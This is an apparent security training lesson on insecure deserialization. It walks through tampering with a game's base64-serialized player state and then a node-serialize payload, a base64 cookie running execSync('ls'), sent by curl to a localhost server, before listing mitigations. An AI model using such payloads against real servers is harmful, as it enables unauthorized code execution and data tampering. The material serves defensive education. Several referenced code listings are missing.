Insecure deserialization
Improper handling of serialized data containing user input
Select your ecosystem
What is insecure deserialization?
Serialization is a mechanism to transform application data into a format suitable for transport — a byte stream. Deserialization is the opposite process, converting byte stream into application data. Insecure deserialization is a vulnerability that occurs when attacker-controlled data is deserialized by the server. In the worst case, it can lead to remote code execution.
About this lesson
In this lesson, we will demonstrate an insecure deserialization attack by hacking an API of a video game company. Then, we will dive deeper into Java deserialization, explain the concept of a gadget, and study vulnerable Java code. Finally, we will cover how to mitigate this vulnerability.
But first, let’s hack a video game!
Hacking a web game
"Dungeons and Money" is here! Your long-time favorite game developer, GreedAndCo, has finally finished the multiplayer online game you have been waiting for since childhood. It’s 11:59pm, and you have been furiously restarting the game, hoping for the login screen to appear.
The clock strikes midnight. With excitement at its peak, you press the login button and finally start playing. But something is not right—even a level 1 rabbit is life-threatening. The game relies on microtransactions! You have to pay $10.99 for an epic sword if you want to kill rabbits. You can’t believe this—you’ve already paid big money for the game. Oh well, it’s time to put your hacker’s hat on and fix this injustice!
Wow, this sword really is tiny. But I’m not paying to upgrade. Let’s take a look at the terminal below and see if we can make some modifications.
Understanding the API
You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414
with the following payload:
{ "playerState": "eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo=" ...}
Maybe these long strings are base64 encoded? Let’s take the playerState
value and verify that! Run:
echo eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo= | base64 -d
Changing the game state using serialized Data
We notice that there is a field named equipment within the serialized data that the game client sends to the server. This field contains a list of items represented as a sequence of numbers. For instance:
"equipment": { "items": [0, 0, 1, 0, 0]}
We can see that there's a 1 within the array of items. Given that we are currently at level 1 with our sword, it's reasonable to hypothesize that this number represents the level or strength of our sword.
To test this hypothesis, let's change the 1 to 20, upgrading the sword's level or strength:
"items": [0, 0, 20, 0, 0]
Insecure Deserialization often occurs when user input is not properly sanitized or validated before being processed. This can allow an attacker to manipulate the application state or execute arbitrary code. In JavaScript, the node-serialize library is known for its vulnerability to insecure deserialization attacks.
Upgrading Our Sword
Let's exploit this vulnerability by creating a malicious payload using the node-serialize library. We will include arbitrary JavaScript code within our payload to change the level of our sword to 20.
Here's how we do it:
Changing the game state: Encoding the Modified Data
Next, you need to encode this object back to a Base64 string. You use a simple script to accomplish this.
The output:
$ node ./statechange.jsBase64 Encoded: eyJlcXVpcG1lbnQiOnsiaXRlbXMiOnsiMCI6MCwiMSI6MCwiMiI6MjAsIjMiOjAsIjQiOjB9fSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQ==
Sending the payload to the server
Now we can attach this payload to the API POST request.
curl -H "Content-Type: application/json" -X POST -d '{ "playerState":"eyJlcXVpcG1lbnQiOnsiaXRlbXMiOnsiMCI6MCwiMSI6MCwiMiI6MjAsIjMiOjAsIjQiOjB9fSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQ=="}' https://api.dungeonsandmoney.com/state/147983414
You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.
Upgrading to full code execution
You've been exploring the world of JavaScript servers and stumble upon whispers of mythical payload objects. They say that if a Node.js server incorrectly processes this payload, it could be susceptible to unauthorized command execution!
Let's say there's another endpoint that accepts some serialized user details. The server-side code might look something like this. We have two routes: /save
to serialize and save data in a cookie and /retrieve
to get and unserialized data from the cookie.
We may use the following script to generate a payload. This script will generate a serialized payload that will execute the ls
command on the server when parsed.
Run the script to generate the payload using node. It should generate the following output:
$ node exploit.jseyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgY29uc3QgZXhlY1N5bmMgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmM7IGNvbnNvbGUubG9nKGV4ZWNTeW5jKCdscycsIHtlbmNvZGluZzogJ3V0Zi04J30pKTsgfSgpIiwiZ2VuZGVyIjoiTWFsZSIsIkFnZSI6NDB9
Send this payload to the server in a cookie to manipulate the server-side data:
curl -X POST -H "Content-Type: application/json" -c cookies.txt -d '{}' http://localhost:3002/save --cookie "userData=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgY29uc3QgZXhlY1N5bmMgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmM7IGNvbnNvbGUubG9nKGV4ZWNTeW5jKCdscycsIHtlbmNvZGluZzogJ3V0Zi04J30pKTsgfSgpIiwiZ2VuZGVyIjoiTWFsZSIsIkFnZSI6NDB9"
To retrieve the result, execute the following command:
curl -b cookies.txt http://localhost:3002/retrieve
We get the following output, note that the username parameter is missing!
{"gender":"Male","Age":40}
On the server terminal, we can see the output of ls
, showing us that the command execution payload worked successfully.
tmp$ node server.jsServer running on port 3002super_secret_stuff.txtcat_picspasswords.xlsxpassport.jpg
This example illustrates a profound vulnerability in some Node.js applications. They might naïvely trust serialized data, giving rise to potential manipulations. Such issues can lead to not just data tampering but, in other contexts, even server shutdowns or arbitrary command executions. This serves as a vital reminder: never blindly trust data, especially if it comes from uncharted territories. Always sanitize, validate, and be on the lookout for vulnerabilities!
State manipulation: a false sense of security
We saw how insecure deserialization can lead to state manipulation and remote code execution in the previous section. State manipulation can happen regardless of serialization being used or not. However, because serialized payloads are more “obscure”, developers tend to assume that serialization somehow protects them against this kind of attack. In reality, it doesn’t matter if payloads are human-readable JSON or obscure binary blobs — if the client can unexpectedly manipulate the state, the whole API needs to be redesigned.
But the truth is far from it. Whether a payload is a seemingly cryptic Base64 encoded string or a straightforward JSON object, if a malicious actor can influence its contents, the integrity of the application is at risk. Rather than relying on obscurity, it's paramount to ensure that any data - serialized or not - coming from untrusted sources is meticulously validated and sanitized. When a system is vulnerable to state manipulation from client-side data, it's a clear sign that there's a pressing need for a more secure design approach.
Why is insecure deserialization so dangerous?
Insecure deserialization poses a significant threat due to its ability to enable Remote Code Execution (RCE), allowing attackers to run arbitrary code on a victim's system. This vulnerability can lead to full system control if exploited on servers. Additionally, tampered serialized data can facilitate privilege escalation, giving attackers unauthorized access to restricted areas of an application. This can result in data breaches, unauthorized system changes, and replay attacks. In essence, insecure deserialization can serve as a gateway to a plethora of malicious activities, emphasizing the critical need for robust security precautions.
Let's take another look at the vulnerable server-side code. The issue with this code is simple: it trusts user input by serializing and unserializing it.
Insecure deserialization can lead to a variety of attacks, including remote code execution, replay attacks, and privilege escalation. Therefore, it's essential to mitigate the risks associated with deserialization in your applications. Here are some strategies and best practices to help safeguard your JavaScript applications against insecure deserialization attacks:
Avoid deserializing untrusted data
As a golden rule, avoid deserializing data from untrusted sources. If you don't need to deserialize, don't. This is the most effective way to prevent insecure deserialization attacks.
Use safe deserialization libraries
Choose libraries that do not allow the execution of arbitrary code upon deserialization. For example, native JSON parsing (JSON.parse()
) in JavaScript does not execute functions or methods, making it inherently safer than some other serialization libraries.
Validate and sanitize input
Before deserialization, validate input data against a known schema or set of expectations. Reject any data that doesn't conform. Sanitize the input to remove or neutralize potentially malicious content.
Implement integrity checks
Use cryptographic mechanisms, like digital signatures (HMACs, for example), to ensure that serialized data has not been tampered with during transit.
Limit deserialization features
If you're using a serialization library that offers dangerous features such as magic functions, configure it to disable or limit potentially unsafe features.
Implement proper error handling
Handle deserialization errors gracefully. Avoid exposing stack traces or detailed error messages to users, as they can provide attackers with insights into the inner workings of your application.
Test your knowledge!
Keep learning
To learn more about Insecure Deserialization, check out some other great content:
- The original research on deserialization vulnerabilities by Gabriel Lawrence and Chris Frohoff
- A great blog post on how to exploit insecure deserialization in different Java server-side technologies by Stephen Breen
- A blog post by the maintainer of Jackson which details exploitability conditions for insecure deserialization in Jackson
- A detailed analysis of insecure deserialization in different Java serialization libraries by Moritz Bechler
- Security implications of Pickle module
- A blog post about insecure deserialization attack in Python application
- Another post about insecure deserialization in Python
And some content by Snyk:
- Our blog post on new serialization features introduced in Java 17
- Our earlier blog post which covers a lot of topics covered in this lesson
- Our blog post on deserialization problems with Jackson’s ObjectMapper